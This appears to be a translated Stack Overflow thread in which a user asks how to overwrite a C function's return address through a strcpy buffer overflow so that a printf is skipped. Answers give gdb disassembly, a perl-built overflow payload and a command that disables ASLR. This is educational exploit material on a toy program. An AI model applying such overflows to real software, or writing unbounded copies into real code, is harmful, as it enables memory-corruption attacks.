8

以下のCコードを書きました:

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

printf("\nx is 1\n");という行をスキップする方法を教えてください。. 以前に得た手がかりは、関数funcの戻りアドレスであるret変数を変更することでした。

printf("\nx is 1\n"); となるように、上記のプログラムのリターン アドレスを変更する方法を教えてください。スキップされます。

差出人住所の変更方法がわからないため、この質問を投稿しました。

あなたが私を助けてくれれば、それは素晴らしいことです。

ありがとう

4

3 に答える 3

17

私が理解しているのは、コードで命令を実行してからx=1;、次の printf にジャンプして、のみを印刷することx is 0です。それを行う方法はありません。

ただし、 func() でそれ自体の戻りアドレスを消去して、コードが に直接ジャンプするようにすることもできますprintf("\nx is 0\n\n");。これは飛び越えることも意味しx=1;ます。

これは、cmd-line を介して渡されたものを func() に送信し、固定サイズのバッファーに直接コピーしているためにのみ可能です。コピーしようとしている文字列が割り当てられたバッファよりも大きい場合、おそらくスタックが破損し、関数の戻りアドレスが上書きされる可能性があります。

このような素晴らしい本がありますので、そちらをお読みになることをお勧めします。

アプリケーションをgdbにロードして main 関数を逆アセンブルすると、次のようなものが表示されます。

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

2 回目のprintf呼び出しの準備が address で開始されることに注意してください0x08048449。の元の戻りアドレスをオーバーライドしfunc()て にジャンプさせるに0x08048449は、 の容量を超えて書き込む必要がありますchar buffer[24];。このテストではchar buffer[6];、簡単にするために使用しました。

gdbにいる間、実行すると:

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

これにより、バッファが正常にオーバーライドされ、リターンのアドレスがジャンプ先のアドレスに置き換えられます。

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

他の人がすでにはるかに優れているため、すべての手順を説明することはしませんが、コマンドラインから直接この動作を再現したい場合は、次を実行できます。

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

gdbが報告するメモリ アドレスは、おそらく私が取得したものとは異なることに注意してください。

: この手法を機能させるには、最初にカーネル保護を無効にする必要があります。ただし、以下のコマンドが 0 以外を報告する場合:

cat /proc/sys/kernel/randomize_va_space

無効にするには、スーパーユーザー アクセスが必要です。

echo 0 > /proc/sys/kernel/randomize_va_space
于 2011-04-04T19:01:53.947 に答える
2

からの戻りアドレスfuncは、ローカル変数のすぐ近くのスタックにあります (そのうちの 1 つは ですbuffer)。戻りアドレスを上書きしたい場合は、配列の末尾を超えて書き込む必要があります (おそらく tobuffer[24...27]ですが、私はおそらく間違っています -buffer[28...31]またはbuffer[24...31]64 ビット システムを使用している場合でも)。デバッガーを使用して正確なアドレスを見つけることをお勧めします。

ところで、変数を取り除きます。ret変数を使用しても何も達成できず、計算が混乱する可能性があります。

この「バッファ オーバーラン エクスプロイト」はデバッグが少し難しいことに注意してください。これはstrcpy、0 バイトに遭遇するとコピーが停止し、スタックに書き込みたいアドレスにおそらくそのようなバイトが含まれているためです。次のようにすると簡単です。

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

コマンドラインでアドレスを 16 進文字列として指定します。これにより、何をしようとしているのかが少し明確になり、デバッグが容易になります。

于 2011-04-04T19:17:06.967 に答える
-4

これは不可能です-コンパイラとその動作を知っていれば、生成されたアセンブラコード、使用されているライブラリ、アーキテクチャ、CPU、システム環境、そして明日の宝くじの数は可能です-そしてこれがあれば知識、あなたは尋ねないのに十分賢いでしょう。それが理にかなっている唯一のシナリオは、誰かが何らかの攻撃を試み、誰かがそれを手伝ってくれると期待しない場合です。

于 2011-04-04T19:06:04.777 に答える